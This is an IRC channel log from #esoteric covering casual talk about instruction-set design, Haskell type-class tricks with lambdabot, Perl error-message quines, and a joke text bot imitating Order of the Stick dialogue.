:tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394344169 233142 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394344195 25919 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :no particular instruction set..sort of pdp/vax-ish < 1394344257 903779 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 244 seconds < 1394344297 195964 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 240 seconds < 1394344346 771266 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394344349 327438 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1394344646 882524 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: What is it for, then? < 1394344663 454630 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It occurs to me that if I ever have jury duty, I might not find out because my asshat of a dad gave me no way of retrieving the mail < 1394344691 377546 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :He won't give me the mail key because he thinks I'll lose it. He promises to check the mail frequently but doesn't < 1394344700 165508 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it true that you only get jury duty if you vote? < 1394344721 819278 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have voted in the past. < 1394344730 683614 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But I doubt it's true < 1394345018 607385 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is there any new cards in Pokemon Card for healing opponent's cards? < 1394345474 24282 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394345557 307637 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394345999 507573 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :zzo38: just saying that call/return dont really need special insns if you can access sp. < 1394346033 689887 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :ie: add #8, lr; mov #printf, pc and mov lr, pc < 1394346034 935121 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: Yes, although you can't just mov pc; you should instead put the address afterward into stack. < 1394346054 206301 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :or add it when popping the stack.. yes < 1394346098 533941 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However then you need two instructions for a call, and one immediate value. < 1394346101 697857 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :sometimes you can reuse/abuse other features, like indexed offset < 1394346135 371529 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The instruction set I just made recently, has a "push and move immediate" instruction so that you can save one instruction. < 1394346152 657001 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :does it take less cycles to execute ? < 1394346164 282278 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, because it has to read less instructions. < 1394346176 111380 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :cool < 1394346176 397617 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(I think. I don't actually know because I haven't made a hardware implementation.) < 1394346220 256769 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Read them from: http://zzo38computer.org/textfile/miscellaneous/cpu16.txt < 1394346379 355545 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I did also recently fix a few things in it, and add some examples < 1394346461 550102 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What is your opinion of this? < 1394346479 284633 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: How would you reuse/abuse indexed offset in that case? < 1394346626 609811 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :if you have hardware for doing something like r9 <- fetch addr + off < 1394346637 50939 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you can use the same "+ off" hardware to add 8 to the pc < 1394346661 983561 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :ie in x86: lea [addr + 8], eax < 1394346682 659961 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK, I suppose you can do it like that < 1394346944 581307 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394348442 563647 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION abruptly gets hit by DST < 1394348510 68719 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :keep your arms and legs inside the vehicle at all times < 1394348534 69459 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ACTION declares DST to be the single most monstrous thing. < 1394348627 425000 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394349128 11609 :aergus!~aergus@88.228.117.4 QUIT :Read error: Operation timed out < 1394349162 462166 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't like DST, although, it is what is used. < 1394349178 752669 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In my area it is DST in a few hours. < 1394349279 26015 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :dynamically sized types < 1394350497 568046 :DTSCode!~DTSCode-L@174.134.25.153 JOIN :#esoteric < 1394350504 141684 :DTSCode!~DTSCode-L@174.134.25.153 PRIVMSG #esoteric :hey guys? < 1394350507 719627 :DTSCode!~DTSCode-L@174.134.25.153 PRIVMSG #esoteric :*! < 1394350528 857476 :DTSCode!~DTSCode-L@174.134.25.153 PRIVMSG #esoteric :does anyone know of the location of a compiler for the esolang cheese++? < 1394351013 525621 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know of any. < 1394351056 439299 :DTSCode!~DTSCode-L@174.134.25.153 PRIVMSG #esoteric :ill just have to write my own then < 1394351689 803828 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK < 1394352119 349500 :Slereahphone!~slereahph@80.10.159.192 JOIN :#esoteric < 1394353780 772699 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In what programming language will you write it? < 1394354085 231192 :DTSCode!~DTSCode-L@174.134.25.153 PRIVMSG #esoteric :c++ < 1394354118 753682 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394354314 806715 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Ping timeout: 264 seconds < 1394354659 967568 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394355573 85022 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394355591 768366 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394355896 133507 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`cat bin/coins < 1394355896 819700 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :words ${1---eng-1M --esolangs 20} | sed -re 's/( |$)/coin\1/g' < 1394355943 374168 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :This pinball game has only five digits in the score display but I already earned over two billion points. < 1394356029 411869 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394356178 781451 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I now have a high score of 5749128737 points, beating my previous high score of 2663351 points. < 1394357443 605676 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Very pointful < 1394358612 556508 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :@let shachaf'sHighScore = maxBound < 1394358613 530240 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:150:22: < 1394358613 741420 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (Bounded a0) arising from a use of `maxBound' < 1394358613 926444 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : The type variable `a0' is ambiguous < 1394358613 926606 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible cause: the monomorphism restriction applied to the following: < 1394358613 926695 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : shachaf'sHighScore :: a0 (bound at .L.hs:150:1) < 1394358623 370542 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :thanks monomorphism restriction < 1394358635 96549 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :can't even eta-expand :'( < 1394358646 63262 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: i thought lambdabot had that turned off? < 1394358676 404244 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shachaf: you can annotate the type hth < 1394358690 440727 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let shachaf'sHighScore = maxBound :: Integer < 1394358691 340048 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:150:22: < 1394358691 525058 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (Bounded Integer) arising from a use of `maxBound' < 1394358691 709960 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible fix: add an instance declaration for (Bounded Integer) < 1394358691 710141 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : In the expression: maxBound :: Integer < 1394358691 710231 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : In an equation for `shachaf'sHighScore': < 1394358694 376689 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1394358697 175937 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :yes but then i have to write the variable name twice #scow < 1394358699 95251 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :MAYBE NOT THAT < 1394358706 484636 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oh, you mean that < 1394358711 701211 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :the point was to make it polymorphic < 1394358732 467245 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let shachaf'sHighScore = maxBound; shachaf'sHighScore :: Bounded a => a < 1394358733 958552 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1394358737 236458 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :THERE: < 1394358741 15533 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :HERE < 1394358741 200588 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*. < 1394358746 421937 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :.* < 1394358763 712543 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose that also writes it twice >:) < 1394358776 729756 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :also? < 1394358785 443022 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :what was the other solution you had in mind? < 1394358826 704236 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :> shachaf'sHighScore :: Int < 1394358829 196997 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 9223372036854775807 < 1394358842 743072 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :> shachaf'sHighScore :: () < 1394358844 347547 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : () < 1394358851 712331 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i just somehow didn't get that was what you meant by writing it twice. < 1394358873 596485 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> shachaf'sHighScore :: Char < 1394358875 401788 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : '\1114111' < 1394358881 468626 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :@let instance Bounded Integer where maxBound = 100; minBound = 0 < 1394358882 683127 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1394358893 728833 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394358906 524277 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone is being evil. < 1394358929 584530 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :next he'll start unsafeCoercing babies. < 1394359241 382782 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :unsafeCoerce oerjan :: Grownup < 1394359317 184625 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Is unsafe coercion a crime? < 1394359452 702396 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :great, who made is 03:00 all of a sudden < 1394359976 218221 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I did < 1394360106 528280 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :taneb you jerk < 1394360726 153049 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :what the bicycle said < 1394360732 996721 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i agree < 1394360775 151581 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :by which i mean, i agree that it's early and that you are a fool if you haven't already slept < 1394360943 850856 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> maxBound :: Integer < 1394360946 390797 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 100 < 1394361011 441429 :ion!ion@heh.fi PRIVMSG #esoteric :> "maxBound :: Integer" < 1394361012 956849 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "maxBound :: Integer" < 1394361043 114247 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Is there a way to see the contents of .L.hs? < 1394361044 464791 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :> maxPlanck :: Integer < 1394361045 365447 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `maxPlanck' < 1394361061 278205 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :> maxHeadroom :: Integer < 1394361062 448424 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `maxHeadroom' < 1394361093 936701 :ion!ion@heh.fi PRIVMSG #esoteric :ACTION remembers you can create instances in λbot these days. < 1394361123 522165 :ion!ion@heh.fi PRIVMSG #esoteric :fizzie: http://hackage.haskell.org/package/lambdabot-4.3.0.1/src/State/L.hs < 1394361336 524372 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think he means the @let adjusted version < 1394362382 906127 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. < 1394362412 178505 :nooodl!~nooodl@91.176.177.103 JOIN :#esoteric < 1394362781 686091 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :DTSCode: is that cheese++ related to the famous old cheese perlmonks node http://www.perlmonks.com/?node_id=45200 and the cheesy ring? < 1394364688 645069 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: "Starting with this version, the octave package now contains experimental graphical user interface (GUI) based on the Qt toolkit." soon it'll be indistinguishable from the 'lab. < 1394364961 109661 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :@let instance Bounded Integer where maxBound = succ maxBound; minBound = prec minBound < 1394364961 899269 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:160:20: < 1394364962 84300 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `prec' < 1394364962 84456 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1394364962 84542 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `pred' (imported from Prelude), `pre' (imported from Control.Lens) < 1394364967 320434 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :@let instance Bounded Integer where maxBound = succ maxBound; minBound = pred minBound < 1394364968 100097 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:154:10: < 1394364968 285067 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Duplicate instance declarations: < 1394364968 285222 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : instance [safe] Bounded Integer -- Defined at .L.hs:154:10 < 1394364968 285310 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : instance [safe] Bounded Integer -- Defined at .L.hs:158:10 < 1394364981 572232 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :> maxBound :: Integer < 1394364984 241226 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 100 < 1394364988 694353 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :@undeff < 1394364988 924892 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1394364989 984429 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :@undef < 1394364990 392497 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Undefined. < 1394364992 594284 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :@let instance Bounded Integer where maxBound = succ maxBound; minBound = pred minBound < 1394364994 3649 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1394365012 998813 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :@let shachaf'sHighScore = maxBound; shachaf'sHighScore :: Bounded a => a < 1394365013 984626 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1394365932 587346 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Sadly, the Octave GUI does not work. The screen just flashes once, and that's it. :/ < 1394366155 93177 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Entropa#Nations_included_in_the_sculpture "Finland is depicted as a wooden floor including a male with a rifle lying down, imagining an elephant, a hippo and a crocodile." < 1394366163 668834 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Ah yes, the embodiment of Finland-ness. < 1394366203 407845 :jix!~jix@jixco.de QUIT :Remote host closed the connection < 1394366336 333418 :jix!~jix@jixco.de JOIN :#esoteric < 1394366534 749631 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it may still be an improvement over a retarded lion < 1394366856 463538 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1394367156 350206 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394367339 883555 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394367340 583559 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394367702 301412 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394369080 398292 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net JOIN :#esoteric < 1394370657 702596 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be JOIN :#esoteric < 1394371080 292311 :Slereahphone_!~slereahph@80.10.161.243 JOIN :#esoteric < 1394371109 243617 :Slereahphone!~slereahph@80.10.159.192 QUIT :Ping timeout: 240 seconds < 1394371109 428588 :Slereahphone_!~slereahph@80.10.161.243 NICK :Slereahphone < 1394371127 936094 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :do you like perl? here's a challenge for you: construct a non-empty quine that prints its own source code as an error message => http://www.perlmonks.com/?node_id=1077569 < 1394371156 649580 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :if you don't like perl, solve the analogous task for python or ruby. < 1394372379 67630 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394373906 396098 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394373916 446096 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394374002 270829 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394374097 561069 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1394376144 342576 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :b_jonas: iteration on perl 5.14 easily gives http://codepad.org/YYYNKjrI/raw.pl < 1394376255 51758 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :python is even easier: http://codepad.org/aKTOVTHZ < 1394376329 137259 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Changing the filename: http://www.perlmonks.org/bare/?node_id=119526 < 1394376355 433373 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Jafet: ah nice! < 1394376379 534639 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Jafet: do you wish to post a reply, or should I post instead? < 1394376469 562785 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I got a different quine on 5.18, so the one for 5.16 may be different yet < 1394376495 98434 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :yeah, I suspected that much, that's why I edited the post to ask for the version number < 1394376605 123569 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Now, actually constructing a quine, instead of banging it out with a script, may be harder. < 1394376638 293929 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :you are allowed to bang it out with a script < 1394376898 368657 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Jafet: this 269 line long script you posted is interesting < 1394376937 108271 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :does it catch up itself using some long literal (whether double-quot or question mark delimited)? < 1394376953 624676 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :wait, it's 1182 lines long < 1394377064 454720 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I must have pasted the wrong data, it is 1238 lines here. < 1394377094 304926 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Jafet: well, it doesn't seem to be a quine here, it starts to differ somewhere after the thousandth line < 1394377120 323140 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Oh, now I see how it catches up. < 1394377132 978229 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The last line is "- has too many errors." < 1394377154 365486 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Jafet: I can't see that in the code I downloaded < 1394377178 415349 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :but yes, that would have been my second guess < 1394378427 734618 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394378956 214274 :fungot!fis@eos.zem.fi QUIT :Quit: up-grade < 1394378989 687280 :fungot!fis@eos.zem.fi JOIN :#esoteric < 1394379021 169783 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^style oots < 1394379021 391768 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: oots (Order Of The Stick) < 1394379028 602396 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@tell boily ^style oots, just for you < 1394379028 962130 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394379782 464053 :AnotherTest!~turingcom@94-224-19-125.access.telenet.be QUIT :Ping timeout: 265 seconds < 1394380468 282966 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394380593 513073 :salvo!~salvo@net-188-153-241-134.cust.dsl.teletu.it JOIN :#esoteric < 1394380630 93562 :salvo!~salvo@net-188-153-241-134.cust.dsl.teletu.it QUIT :Client Quit < 1394381147 999399 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Ping timeout: 244 seconds < 1394381530 692153 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 264 seconds < 1394381574 35910 :Slereahphone!~slereahph@80.10.161.243 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394381663 230375 :Slereahphone!~slereahph@80.10.161.243 JOIN :#esoteric < 1394381688 593435 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394381933 232192 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394382042 580370 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394382142 393787 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Interesting < 1394382157 980431 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :fungot: how do you feel about Xykon? < 1394382158 183038 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :FireFly: that, as bounty, i presume is a prostitute for me!! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! slice! < 1394382622 270418 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394382698 589352 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wow. < 1394382710 13520 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's even worse than the Chrono Trigger style. < 1394382788 511138 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394383243 528668 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yeah, after generating an exclamation mark and "slice", it's not possible to get out of the loop, thanks to backoff not being implemented. < 1394383335 480491 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fungot: how do you feel? < 1394383335 666048 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :newsham: here, let me down, greenhilt, and i would not be so dismissive of the thing and i can get my butt this morning. < 1394383356 563796 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fungot: i dont want to hear about your butt this morning or any. < 1394383356 751333 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :newsham: and my soul and nev'r... actually, y'know, the rune over behind xkyon's throne labeled " castle blowing her cover. < 1394383394 912807 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: "xkyon". Really? < 1394383395 135550 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: master,, in enough detail as you, to seek it out... and this would never have enough to overcome by dr" < 1394383397 376036 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fungot: who is castle and what do you mean "cover"? < 1394383397 560889 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :newsham: any such secrets or lies might contribute! < 1394383576 672845 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fungot: hence! < 1394383576 857831 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :newsham: by my calculations, taking into account the ambient temperature and our current longitude, i estimate that i have eliminated! we need to break, or simply forget about the laws that exist be enforced. they did the crime, let them do the time, and there, and you, the gods, that makes us all one big evil team here and there, and you, the gods, that makes us all one big evil team here too? < 1394383634 703143 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :fungot: a fie upon you, you devilish fool! < 1394383634 888123 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :newsham: wow, that is such a stupid magic item that can allow any bandit that defeated < 1394383673 931861 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this has to be an OOtS-related style, doesn't it? < 1394383684 715572 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also I keep expecting newsham to be a bot < 1394383689 624054 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because news-ham was < 1394383691 328085 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@messages-loud < 1394383691 620570 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1394383717 757657 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :news-ham was only a bot because newsham wasn't < 1394383720 791463 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1394384135 494853 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i'm not a sha256 hash! I'm a free man! < 1394384527 548209 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :fizzie: how up to date is the oots mode? < 1394384690 480061 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :coppro: It's scraped from http://oots.wikia.com/ so not terribly, and with some gaps. See http://oots.wikia.com/wiki/List_of_Order_of_the_Stick_Comics for details. < 1394384744 584421 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It goes up to comic 772 more or less contiguously, but coverage after that is very sporadic. < 1394385466 960121 :ion!ion@heh.fi QUIT :Quit: kernel upgrade < 1394385508 437603 :ggherdov_!sid11402@gateway/web/irccloud.com/x-odwzqbmzjdzxnuga 